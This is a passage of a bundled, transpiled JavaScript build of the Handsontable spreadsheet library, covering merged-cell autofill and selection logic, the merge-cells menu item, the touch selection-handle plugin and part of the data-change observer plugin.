baseAreaEndColumn; default: return null; } } /** * Trim the default drag area (containing the selection area) to the drag-only area. * * @private * @param {Array} baseArea The base selection area. * @param {Array} dragArea The base selection area extended by the drag area. * @param {String} direction Drag direction. * @return {Array|null} Array representing the drag area coordinates. */ }, { key: "getDragArea", value: function getDragArea(baseArea, dragArea, direction) { var _baseArea3 = _slicedToArray(baseArea, 4), baseAreaStartRow = _baseArea3[0], baseAreaStartColumn = _baseArea3[1], baseAreaEndRow = _baseArea3[2], baseAreaEndColumn = _baseArea3[3]; var _dragArea2 = _slicedToArray(dragArea, 4), dragAreaStartRow = _dragArea2[0], dragAreaStartColumn = _dragArea2[1], dragAreaEndRow = _dragArea2[2], dragAreaEndColumn = _dragArea2[3]; switch (direction) { case 'up': return [dragAreaStartRow, dragAreaStartColumn, baseAreaStartRow - 1, baseAreaEndColumn]; case 'down': return [baseAreaEndRow + 1, baseAreaStartColumn, dragAreaEndRow, baseAreaEndColumn]; case 'left': return [dragAreaStartRow, dragAreaStartColumn, baseAreaEndRow, baseAreaStartColumn - 1]; case 'right': return [baseAreaStartRow, baseAreaEndColumn + 1, dragAreaEndRow, dragAreaEndColumn]; default: return null; } } /** * Get the to-be-farthest merged cell in the newly filled area. * * @private * @param {Array} baseArea The base selection area. * @param {Array} dragArea The drag area (containing the base area). * @param {String} direction The drag direction. * @param {Array} mergedCellArray Array of the merged cells found in the base area. * @return {MergedCellCoords|null} */ }, { key: "getFarthestCollection", value: function getFarthestCollection(baseArea, dragArea, direction, mergedCellArray) { var _baseArea4 = _slicedToArray(baseArea, 4), baseAreaStartRow = _baseArea4[0], baseAreaStartColumn = _baseArea4[1], baseAreaEndRow = _baseArea4[2], baseAreaEndColumn = _baseArea4[3]; var verticalDirection = ['up', 'down'].indexOf(direction) > -1; var baseEnd = verticalDirection ? baseAreaEndRow : baseAreaEndColumn; var baseStart = verticalDirection ? baseAreaStartRow : baseAreaStartColumn; var fillSize = this.getAutofillSize(baseArea, dragArea, direction); var fullCycle = verticalDirection ? baseAreaEndRow - baseAreaStartRow + 1 : baseAreaEndColumn - baseAreaStartColumn + 1; var fulls = Math.floor(fillSize / fullCycle) * fullCycle; var partials = fillSize - fulls; var inclusionFunctionName = null; var farthestCollection = null; var endOfDragRecreationIndex = null; switch (direction) { case 'up': inclusionFunctionName = 'includesVertically'; endOfDragRecreationIndex = baseEnd - partials + 1; break; case 'left': inclusionFunctionName = 'includesHorizontally'; endOfDragRecreationIndex = baseEnd - partials + 1; break; case 'down': inclusionFunctionName = 'includesVertically'; endOfDragRecreationIndex = baseStart + partials - 1; break; case 'right': inclusionFunctionName = 'includesHorizontally'; endOfDragRecreationIndex = baseStart + partials - 1; break; default: } (0, _array.arrayEach)(mergedCellArray, function (currentCollection) { if (currentCollection[inclusionFunctionName](endOfDragRecreationIndex) && currentCollection.isFarther(farthestCollection, direction)) { farthestCollection = currentCollection; } }); return farthestCollection; } /** * Recreate the merged cells after the autofill process. * * @param {Array} changes Changes made. */ }, { key: "recreateAfterDataPopulation", value: function recreateAfterDataPopulation(changes) { if (!this.currentFillData) { return; } var fillRange = this.getRangeFromChanges(changes); var foundMergedCells = this.currentFillData.foundMergedCells; var dragDirection = this.currentFillData.dragDirection; var inBounds = function inBounds(current, offset) { switch (dragDirection) { case 'up': return current.row - offset >= fillRange.from.row; case 'down': return current.row + current.rowspan - 1 + offset <= fillRange.to.row; case 'left': return current.col - offset >= fillRange.from.column; case 'right': return current.col + current.colspan - 1 + offset <= fillRange.to.column; default: return null; } }; var fillOffset = 0; var current = null; var multiplier = 1; do { for (var j = 0; j < foundMergedCells.length; j += 1) { current = foundMergedCells[j]; fillOffset = multiplier * this.currentFillData.cycleLength; if (inBounds(current, fillOffset)) { switch (dragDirection) { case 'up': this.plugin.mergedCellsCollection.add({ row: current.row - fillOffset, rowspan: current.rowspan, col: current.col, colspan: current.colspan }); break; case 'down': this.plugin.mergedCellsCollection.add({ row: current.row + fillOffset, rowspan: current.rowspan, col: current.col, colspan: current.colspan }); break; case 'left': this.plugin.mergedCellsCollection.add({ row: current.row, rowspan: current.rowspan, col: current.col - fillOffset, colspan: current.colspan }); break; case 'right': this.plugin.mergedCellsCollection.add({ row: current.row, rowspan: current.rowspan, col: current.col + fillOffset, colspan: current.colspan }); break; default: } } if (j === foundMergedCells.length - 1) { multiplier += 1; } } } while (inBounds(current, fillOffset)); this.currentFillData = null; this.plugin.hot.render(); } /** * Get the drag range from the changes made. * * @private * @param {Array} changes The changes made. * @returns {Object} Object with `from` and `to` properties, both containing `row` and `column` keys. */ }, { key: "getRangeFromChanges", value: function getRangeFromChanges(changes) { var _this = this; var rows = { min: null, max: null }; var columns = { min: null, max: null }; (0, _array.arrayEach)(changes, function (change) { var rowIndex = change[0]; var columnIndex = _this.plugin.hot.propToCol(change[1]); if (rows.min === null || rowIndex < rows.min) { rows.min = rowIndex; } if (rows.max === null || rowIndex > rows.max) { rows.max = rowIndex; } if (columns.min === null || columnIndex < columns.min) { columns.min = columnIndex; } if (columns.max === null || columnIndex > columns.max) { columns.max = columnIndex; } }); return { from: { row: rows.min, column: columns.min }, to: { row: rows.max, column: columns.max } }; } /** * Check if the drag area contains any merged cells. * * @param {Array} baseArea The base selection area. * @param {Array} fullArea The base area extended by the drag area. * @param {String} direction Drag direction. * @returns {Boolean} */ }, { key: "dragAreaOverlapsCollections", value: function dragAreaOverlapsCollections(baseArea, fullArea, direction) { var dragArea = this.getDragArea(baseArea, fullArea, direction); var _dragArea3 = _slicedToArray(dragArea, 4), dragAreaStartRow = _dragArea3[0], dragAreaStartColumn = _dragArea3[1], dragAreaEndRow = _dragArea3[2], dragAreaEndColumn = _dragArea3[3]; var topLeft = new _src.CellCoords(dragAreaStartRow, dragAreaStartColumn); var bottomRight = new _src.CellCoords(dragAreaEndRow, dragAreaEndColumn); var dragRange = new _src.CellRange(topLeft, topLeft, bottomRight); return !!this.mergedCellsCollection.getWithinRange(dragRange, true); } }]); return AutofillCalculations; }(); var _default = AutofillCalculations; exports.default = _default; /***/ }), /* 738 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _src = __webpack_require__(8); function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * Class responsible for all of the Selection-related operations on merged cells. * * @class SelectionCalculations * @plugin MergeCells * @util */ var SelectionCalculations = /*#__PURE__*/ function () { function SelectionCalculations(plugin) { _classCallCheck(this, SelectionCalculations); /** * Reference to the Merge Cells plugin. * * @type {MergeCells} */ this.plugin = plugin; /** * Class name used for fully selected merged cells. * * @type {String} */ this.fullySelectedMergedCellClassName = 'fullySelectedMergedCell'; } /** * "Snap" the delta value according to defined merged cells. (In other words, compensate the rowspan - * e.g. going up with `delta.row = -1` over a merged cell with `rowspan = 3`, `delta.row` should change to `-3`.) * * @param {Object} delta The delta object containing `row` and `col` properties. * @param {CellRange} selectionRange The selection range. * @param {Object} mergedCell A merged cell object. */ _createClass(SelectionCalculations, [{ key: "snapDelta", value: function snapDelta(delta, selectionRange, mergedCell) { var cellCoords = selectionRange.to; var newRow = cellCoords.row + delta.row; var newColumn = cellCoords.col + delta.col; if (delta.row) { this.jumpOverMergedCell(delta, mergedCell, newRow); } else if (delta.col) { this.jumpOverMergedCell(delta, mergedCell, newColumn); } } /** * "Jump" over the merged cell (compensate for the indexes within the merged cell to get past it) * * @private * @param {Object} delta The delta object. * @param {MergedCellCoords} mergedCell The merge cell object. * @param {Number} newIndex New row/column index, created with the delta. */ }, { key: "jumpOverMergedCell", value: function jumpOverMergedCell(delta, mergedCell, newIndex) { var flatDelta = delta.row || delta.col; var includesIndex = null; var firstIndex = null; var lastIndex = null; if (delta.row) { includesIndex = mergedCell.includesVertically(newIndex); firstIndex = mergedCell.row; lastIndex = mergedCell.getLastRow(); } else if (delta.col) { includesIndex = mergedCell.includesHorizontally(newIndex); firstIndex = mergedCell.col; lastIndex = mergedCell.getLastColumn(); } if (flatDelta === 0) { return; } else if (flatDelta > 0) { if (includesIndex && newIndex !== firstIndex) { flatDelta += lastIndex - newIndex + 1; } } else if (includesIndex && newIndex !== lastIndex) { flatDelta -= newIndex - firstIndex + 1; } if (delta.row) { delta.row = flatDelta; } else if (delta.col) { delta.col = flatDelta; } } /** * Get a selection range with `to` property incremented by the provided delta. * * @param {CellRange} oldSelectionRange The base selection range. * @param {Object} delta The delta object with `row` and `col` properties. * @returns {CellRange} A new `CellRange` object. */ }, { key: "getUpdatedSelectionRange", value: function getUpdatedSelectionRange(oldSelectionRange, delta) { return new _src.CellRange(oldSelectionRange.highlight, oldSelectionRange.from, new _src.CellCoords(oldSelectionRange.to.row + delta.row, oldSelectionRange.to.col + delta.col)); } /** * Generate an additional class name for the entirely-selected merged cells. * * @param {Number} currentRow Row index of the currently processed cell. * @param {Number} currentColumn Column index of the currently cell. * @param {Array} cornersOfSelection Array of the current selection in a form of `[startRow, startColumn, endRow, endColumn]`. * @param {Number|undefined} layerLevel Number indicating which layer of selection is currently processed. * @returns {String|undefined} A `String`, which will act as an additional `className` to be added to the currently processed cell. */ }, { key: "getSelectedMergedCellClassName", value: function getSelectedMergedCellClassName(currentRow, currentColumn, cornersOfSelection, layerLevel) { var _cornersOfSelection = _slicedToArray(cornersOfSelection, 4), startRow = _cornersOfSelection[0], startColumn = _cornersOfSelection[1], endRow = _cornersOfSelection[2], endColumn = _cornersOfSelection[3]; if (layerLevel === void 0) { return; } if (currentRow >= startRow && currentRow <= endRow && currentColumn >= startColumn && currentColumn <= endColumn) { var isMergedCellParent = this.plugin.mergedCellsCollection.isMergedParent(currentRow, currentColumn); if (!isMergedCellParent) { return; } var mergedCell = this.plugin.mergedCellsCollection.get(currentRow, currentColumn); if (!mergedCell) { return; } if (mergedCell.row + mergedCell.rowspan - 1 <= endRow && mergedCell.col + mergedCell.colspan - 1 <= endColumn) { return "".concat(this.fullySelectedMergedCellClassName, "-").concat(layerLevel); } else if (this.plugin.selectionCalculations.isMergeCellFullySelected(mergedCell, this.plugin.hot.getSelectedRange())) { return "".concat(this.fullySelectedMergedCellClassName, "-multiple"); } } } /** * Check if the provided merged cell is fully selected (by one or many layers of selection) * * @param {MergedCellCoords} mergedCell The merged cell to be processed. * @param {CellRange[]} selectionRangesArray Array of selection ranges. * @returns {Boolean} */ }, { key: "isMergeCellFullySelected", value: function isMergeCellFullySelected(mergedCell, selectionRangesArray) { var mergedCellIndividualCoords = []; if (!selectionRangesArray || !mergedCell) { return false; } for (var r = 0; r < mergedCell.rowspan; r += 1) { for (var c = 0; c < mergedCell.colspan; c += 1) { mergedCellIndividualCoords.push(new _src.CellCoords(mergedCell.row + r, mergedCell.col + c)); } } for (var i = 0; i < mergedCellIndividualCoords.length; i += 1) { var insideSelections = []; for (var s = 0; s < selectionRangesArray.length; s += 1) { insideSelections[s] = selectionRangesArray[s].includes(mergedCellIndividualCoords[i]); } if (!insideSelections.includes(true)) { return false; } } return true; } /** * Generate an array of the entirely-selected merged cells' class names. * * @returns {String[]} An `Array` of `String`s. Each of these strings will act like class names to be removed from all the cells in the table. */ }, { key: "getSelectedMergedCellClassNameToRemove", value: function getSelectedMergedCellClassNameToRemove() { var classNames = []; for (var i = 0; i <= 7; i += 1) { classNames.push("".concat(this.fullySelectedMergedCellClassName, "-").concat(i)); } classNames.push("".concat(this.fullySelectedMergedCellClassName, "-multiple")); return classNames; } }]); return SelectionCalculations; }(); var _default = SelectionCalculations; exports.default = _default; /***/ }), /* 739 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = toggleMergeItem; var C = _interopRequireWildcard(__webpack_require__(11)); var _cellCoords = _interopRequireDefault(__webpack_require__(128)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function toggleMergeItem(plugin) { return { key: 'mergeCells', name: function name() { var sel = this.getSelectedLast(); if (sel) { var info = plugin.mergedCellsCollection.get(sel[0], sel[1]); if (info.row === sel[0] && info.col === sel[1] && info.row + info.rowspan - 1 === sel[2] && info.col + info.colspan - 1 === sel[3]) { return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_UNMERGE_CELLS); } } return this.getTranslatedPhrase(C.CONTEXTMENU_ITEMS_MERGE_CELLS); }, callback: function callback() { plugin.toggleMergeOnSelection(); }, disabled: function disabled() { var sel = this.getSelectedLast(); if (!sel) { return true; } var isSingleCell = _cellCoords.default.isSingleCell({ row: sel[0], col: sel[1], rowspan: sel[2] - sel[0] + 1, colspan: sel[3] - sel[1] + 1 }); return isSingleCell || this.selection.isSelectedByCorner(); }, hidden: false }; } /***/ }), /* 740 */ /***/ (function(module, exports) { // removed by extract-text-webpack-plugin /***/ }), /* 741 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _browser = __webpack_require__(42); var _base = _interopRequireDefault(__webpack_require__(15)); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _plugins = __webpack_require__(13); var _src = __webpack_require__(8); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } /** * @private * @plugin MultipleSelectionHandles */ var MultipleSelectionHandles = /*#__PURE__*/ function (_BasePlugin) { _inherits(MultipleSelectionHandles, _BasePlugin); /** * @param {Object} hotInstance */ function MultipleSelectionHandles(hotInstance) { var _this2; _classCallCheck(this, MultipleSelectionHandles); _this2 = _possibleConstructorReturn(this, _getPrototypeOf(MultipleSelectionHandles).call(this, hotInstance)); /** * @type {Array} */ _this2.dragged = []; /** * Instance of EventManager. * * @type {EventManager} */ _this2.eventManager = null; /** * @type {null} */ _this2.lastSetCell = null; return _this2; } /** * Check if the plugin is enabled in the handsontable settings. * * @returns {Boolean} */ _createClass(MultipleSelectionHandles, [{ key: "isEnabled", value: function isEnabled() { return (0, _browser.isMobileBrowser)(); } /** * Enable plugin for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { if (this.enabled) { return; } if (!this.eventManager) { this.eventManager = new _eventManager.default(this); } this.registerListeners(); _get(_getPrototypeOf(MultipleSelectionHandles.prototype), "enablePlugin", this).call(this); } /** * Bind the touch events * @private */ }, { key: "registerListeners", value: function registerListeners() { var _this = this; function removeFromDragged(query) { if (_this.dragged.length === 1) { // clear array _this.dragged.splice(0, _this.dragged.length); return true; } var entryPosition = _this.dragged.indexOf(query); if (entryPosition === -1) { return false; } else if (entryPosition === 0) { _this.dragged = _this.dragged.slice(0, 1); } else if (entryPosition === 1) { _this.dragged = _this.dragged.slice(-1); } } this.eventManager.addEventListener(this.hot.rootElement, 'touchstart', function (event) { var selectedRange; if ((0, _element.hasClass)(event.target, 'topLeftSelectionHandle-HitArea')) { selectedRange = _this.hot.getSelectedRangeLast(); _this.dragged.push('topLeft'); _this.touchStartRange = { width: selectedRange.getWidth(), height: selectedRange.getHeight(), direction: selectedRange.getDirection() }; event.preventDefault(); return false; } else if ((0, _element.hasClass)(event.target, 'bottomRightSelectionHandle-HitArea')) { selectedRange = _this.hot.getSelectedRangeLast(); _this.dragged.push('bottomRight'); _this.touchStartRange = { width: selectedRange.getWidth(), height: selectedRange.getHeight(), direction: selectedRange.getDirection() }; event.preventDefault(); return false; } }); this.eventManager.addEventListener(this.hot.rootElement, 'touchend', function (event) { if ((0, _element.hasClass)(event.target, 'topLeftSelectionHandle-HitArea')) { removeFromDragged.call(_this, 'topLeft'); _this.touchStartRange = void 0; event.preventDefault(); return false; } else if ((0, _element.hasClass)(event.target, 'bottomRightSelectionHandle-HitArea')) { removeFromDragged.call(_this, 'bottomRight'); _this.touchStartRange = void 0; event.preventDefault(); return false; } }); this.eventManager.addEventListener(this.hot.rootElement, 'touchmove', function (event) { var scrollTop = (0, _element.getWindowScrollTop)(); var scrollLeft = (0, _element.getWindowScrollLeft)(); var targetCoords; var selectedRange; var rangeWidth; var rangeHeight; var rangeDirection; var newRangeCoords; if (_this.dragged.length === 0) { return; } var endTarget = document.elementFromPoint(event.touches[0].screenX - scrollLeft, event.touches[0].screenY - scrollTop); if (!endTarget || endTarget === _this.lastSetCell) { return; } if (endTarget.nodeName === 'TD' || endTarget.nodeName === 'TH') { targetCoords = _this.hot.getCoords(endTarget); if (targetCoords.col === -1) { targetCoords.col = 0; } selectedRange = _this.hot.getSelectedRangeLast(); rangeWidth = selectedRange.getWidth(); rangeHeight = selectedRange.getHeight(); rangeDirection = selectedRange.getDirection(); if (rangeWidth === 1 && rangeHeight === 1) { _this.hot.selection.setRangeEnd(targetCoords); } newRangeCoords = _this.getCurrentRangeCoords(selectedRange, targetCoords, _this.touchStartRange.direction, rangeDirection, _this.dragged[0]); if (newRangeCoords.start !== null) { _this.hot.selection.setRangeStart(newRangeCoords.start); } _this.hot.selection.setRangeEnd(newRangeCoords.end); _this.lastSetCell = endTarget; } event.preventDefault(); }); } }, { key: "getCurrentRangeCoords", value: function getCurrentRangeCoords(selectedRange, currentTouch, touchStartDirection, currentDirection, draggedHandle) { var topLeftCorner = selectedRange.getTopLeftCorner(); var bottomRightCorner = selectedRange.getBottomRightCorner(); var bottomLeftCorner = selectedRange.getBottomLeftCorner(); var topRightCorner = selectedRange.getTopRightCorner(); var newCoords = { start: null, end: null }; switch (touchStartDirection) { case 'NE-SW': switch (currentDirection) { case 'NE-SW': case 'NW-SE': if (draggedHandle === 'topLeft') { newCoords = { start: new _src.CellCoords(currentTouch.row, selectedRange.highlight.col), end: new _src.CellCoords(bottomLeftCorner.row, currentTouch.col) }; } else { newCoords = { start: new _src.CellCoords(selectedRange.highlight.row, currentTouch.col), end: new _src.CellCoords(currentTouch.row, topLeftCorner.col) }; } break; case 'SE-NW': if (draggedHandle === 'bottomRight') { newCoords = { start: new _src.CellCoords(bottomRightCorner.row, currentTouch.col), end: new _src.CellCoords(currentTouch.row, topLeftCorner.col) }; } break; default: break; } break; case 'NW-SE': switch (currentDirection) { case 'NE-SW': if (draggedHandle === 'topLeft') { newCoords = { start: currentTouch, end: bottomLeftCorner }; } else { newCoords.end = currentTouch; } break; case 'NW-SE': if (draggedHandle === 'topLeft') { newCoords = { start: currentTouch, end: bottomRightCorner }; } else { newCoords.end = currentTouch; } break; case 'SE-NW': if (draggedHandle === 'topLeft') { newCoords = { start: currentTouch, end: topLeftCorner }; } else { newCoords.end = currentTouch; } break; case 'SW-NE': if (draggedHandle === 'topLeft') { newCoords = { start: currentTouch, end: topRightCorner }; } else { newCoords.end = currentTouch; } break; default: break; } break; case 'SW-NE': switch (currentDirection) { case 'NW-SE': if (draggedHandle === 'bottomRight') { newCoords = { start: new _src.CellCoords(currentTouch.row, topLeftCorner.col), end: new _src.CellCoords(bottomLeftCorner.row, currentTouch.col) }; } else { newCoords = { start: new _src.CellCoords(topLeftCorner.row, currentTouch.col), end: new _src.CellCoords(currentTouch.row, bottomRightCorner.col) }; } break; // case 'NE-SW': // // break; case 'SW-NE': if (draggedHandle === 'topLeft') { newCoords = { start: new _src.CellCoords(selectedRange.highlight.row, currentTouch.col), end: new _src.CellCoords(currentTouch.row, bottomRightCorner.col) }; } else { newCoords = { start: new _src.CellCoords(currentTouch.row, topLeftCorner.col), end: new _src.CellCoords(topLeftCorner.row, currentTouch.col) }; } break; case 'SE-NW': if (draggedHandle === 'bottomRight') { newCoords = { start: new _src.CellCoords(currentTouch.row, topRightCorner.col), end: new _src.CellCoords(topLeftCorner.row, currentTouch.col) }; } else if (draggedHandle === 'topLeft') { newCoords = { start: bottomLeftCorner, end: currentTouch }; } break; default: break; } break; case 'SE-NW': switch (currentDirection) { case 'NW-SE': case 'NE-SW': case 'SW-NE': if (draggedHandle === 'topLeft') { newCoords.end = currentTouch; } break; case 'SE-NW': if (draggedHandle === 'topLeft') { newCoords.end = currentTouch; } else { newCoords = { start: currentTouch, end: topLeftCorner }; } break; default: break; } break; default: break; } return newCoords; } /** * Check if user is currently dragging the handle. * * @returns {boolean} Dragging state */ }, { key: "isDragged", value: function isDragged() { return this.dragged.length > 0; } }]); return MultipleSelectionHandles; }(_base.default); (0, _plugins.registerPlugin)('multipleSelectionHandles', MultipleSelectionHandles); var _default = MultipleSelectionHandles; exports.default = _default; /***/ }), /* 742 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _dataObserver = _interopRequireDefault(__webpack_require__(743)); var _array = __webpack_require__(3); var _plugins = __webpack_require__(13); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } // Handsontable.hooks.register('afterChangesObserved'); /** * @plugin ObserveChanges * * @description * This plugin allows to observe data source changes. By default, the plugin is declared as `undefined`, which makes it * disabled. Enabling this plugin switches the table into one-way data binding where changes are applied into the data * source (outside from the table) will be automatically reflected in the table. * * ```js * // as a boolean * observeChanges: true, * ``` * * To configure this plugin see {@link Options#observeChanges}. */ var ObserveChanges = /*#__PURE__*/ function (_BasePlugin) { _inherits(ObserveChanges, _BasePlugin); function ObserveChanges(hotInstance) { var _this; _classCallCheck(this, ObserveChanges); _this = _possibleConstructorReturn(this, _getPrototypeOf(ObserveChanges).call(this, hotInstance)); /** * Instance of {@link DataObserver}. * * @private * @type {DataObserver} */ _this.observer = null; return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link ObserveChanges#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(ObserveChanges, [{ key: "isEnabled", value: function isEnabled() { return this.hot.getSettings().observeChanges; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } if (!this.observer) { this.observer = new _dataObserver.default(this.hot.getSourceData()); this._exposePublicApi(); } this.observer.addLocalHook('change', function (patches) { return _this2.onDataChange(patches); }); this.addHook('afterCreateRow', function () { return _this2.onAfterTableAlter(); }); this.addHook('afterRemoveRow', function () { return _this2.onAfterTableAlter(); }); this.addHook('afterCreateCol', function () { return _this2.onAfterTableAlter(); }); this.addHook('afterRemoveCol', function () { return _this2.onAfterTableAlter(); }); this.addHook('afterChange', function (changes, source) { return _this2.onAfterTableAlter(source); }); this.addHook('afterLoadData', function (firstRun) { return _this2.onAfterLoadData(firstRun); }); _get(_getPrototypeOf(ObserveChanges.prototype), "enablePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { if (this.observer) { this.observer.destroy(); this.observer = null; this._deletePublicApi(); } _get(_getPrototypeOf(ObserveChanges.prototype), "disablePlugin", this).call(this); } /** * Data change observer. * * @private * @param {Array} patches An array of objects which every item defines coordinates where data was changed. */ }, { key: "onDataChange", value: function onDataChange(patches) { var _this3 = this; if (!this.observer.isPaused()) { var sourceName = "".concat(this.pluginName, ".change"); var actions = { add: function add(patch) { if (isNaN(patch.col)) { _this3.hot.runHooks('afterCreateRow', patch.row, 1, sourceName); } else { _this3.hot.runHooks('afterCreateCol', patch.col, 1, sourceName); } }, remove: function remove(patch) { if (isNaN(patch.col)) { _this3.hot.runHooks('afterRemoveRow', patch.row, 1, sourceName); } else { _this3.hot.runHooks('afterRemoveCol', patch.col, 1, sourceName); } }, replace: function replace(patch) { _this3.hot.runHooks('afterChange', [[patch.row, patch.col, null, patch.value]], sourceName); } }; (0, _array.arrayEach)(patches, function (patch) { if (actions[patch.op]) { actions[patch.op](patch); } }); this.hot.render(); } this.hot.runHooks('afterChangesObserved'); } /** * On after table alter listener. Prevents infinity loop between internal and external data changing. * * @private * @param source */ }, { key: "onAfterTableAlter", value: function onAfterTableAlter(source) { var _this4 = this; if (source !== 'loadData') { this.observer.pause(); this.hot.addHookOnce('afterChangesObserved', function () { return _this4.observer.resume(); }); } } /** * On after load data listener. * * @private * @param {Boolean} firstRun `true` if event was fired first time. */ }, { key: "onAfterLoadData", value: function onAfterLoadData(firstRun) { if (!firstRun) { this.observer.setObservedData(this.hot.getSourceData()); } } /** * Destroys the 